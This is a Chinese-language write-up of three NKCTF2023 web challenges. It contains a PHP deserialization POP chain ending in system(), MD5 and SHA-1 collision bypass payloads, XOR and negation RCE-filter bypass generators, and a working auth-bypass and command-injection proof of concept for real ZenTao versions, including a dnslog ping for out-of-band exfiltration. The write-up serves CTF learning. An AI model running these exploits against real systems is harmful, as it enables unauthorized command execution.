NKCTF2023

WEB:baby_php

打开之后发现是一道有关于反序列化的pop链的题目

此时我们需要捋清楚整条pop链的各个节点;首先我们发现了Happy类中的_invoke里面的eval()函数;此时我们可以确定这就
是整条pop链的链尾;接着我们需要知道怎么触发_invoke()函数;此时我们发现了在Hell0中的$function();当$function()
被触发的时候即可触发_invoke()函数;所以我们需要触发__toString()从而来触发$function();所以我们知道了整条链的
倒数第二个节点是在Hell0类中的_tostring();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}

function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
$a=new Welcome;
$b=new Happy;
$c=new Hell0;
$a->name=$c;
$c->func=$b;
$b->shell='system';
$b->cmd='more /[^b]1[^b][^b]';
echo(serialize($a));
?>

这个学长构造的看着会更加精悍一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Welcome{
public $name;
public $arg;
}
class Happy{
public $shell;
public $cmd;
}
class Hell0{
public $func;
}
$a = new Welcome;
$a -> name = "welcome_to_NKCTF";
$a -> arg = new Hell0;
$a -> arg ->func = new Happy;
$a -> arg -> func ->shell = 'system';
$a ->arg ->func -> cmd ='more /[^b]1[^b][^b]';
echo(serialize($a));
?>

然后此题还有一个需要注意的点是因为此题的正则有点难搞,它把我们的flag给过滤了;所以可以使用分节符[^b]进行模糊匹配

WEB:eazy_php

打开后发现是代码审计;应该是对于一些函数的绕过

第一个的绕过是关于a和b的一个MD5弱比较第二个绕过是c和d的一个sha1强比较;这一部分在学校的签到杯就有出现过
所以令a=s878926199a&b=s155964671a来绕过第一个MD5弱比较;然后
1
c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

来绕过第二个sha1的强比较
接着是对于intval的绕过直接使用小数点来绕过e=114514.1;接下来的绕过在NSS Round7有出现过;直接令NS[CTF.go=1
就可以绕过;接下来是对于preg_match的绕过;此时可以考虑异或绕过或者取反绕过又或者回溯绕过
1.异或绕过:
先生用php生成一个所以可见字符的异或构造的txt文档
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

接着使用脚本来得到我们想要的异或结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)


2.使用取反绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

easy_pms(这题有思路但是最后还是没有做出来)

现在网上找禅道项目管理系统RCE漏洞复现+利用;此时发现一个漏洞测试的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

# -*- coding: UTF-8 -*-
# !/usr/bin/python

'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests

proxies = {
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
}
def check(url):
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}

headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
}

data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 = 'SCM=Subversion&client=`id`'
s=requests.session()
try:
req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
if 'uid=' in req4.text:
print(url,"")
return True
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://x.x.x.x/zentao/"))

此时经过测试是发现存在漏洞的

此时我们依次发送两个请求来激活cookie信息;因为我无法成功的登入该系统;所以采用激活cookie的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
GET /misc-captcha-user.html HTTP/1.1
Host: ******
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: keep-alive
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default


POST /repo-create.html HTTP/1.1
Host: d90f9b70-c534-4f67-a498-6e40e2244ddd.node2.yuzhian.com.cn
Content-Length: 113
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://90f9b70-c534-4f67-a498-6e40e2244ddd.node2.yuzhian.com.cn/repo-edit-1-0.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2;; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded

product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=

可以看到cookie已经被激活了


我接下的思路就是使用命令执行来获取;提交命令执行的请求(并且外带回显)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /repo-edit-10000-10000.html HTTP/1.1
Host: ******
Content-Length: 26
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://******//repo-edit-1-0.html
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2;; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded

SCM=Subversion&client=`ping lm5nb8.dnslog.cn`

就是在这个命令执行的时候出不来;

等wp出来后在学习一下;后面问了一下学长;发现是因为此RCE结果无法被外带;所以ping命令没有结果后面只需构造SCM=Subversion&client=tac /flag即可获得flag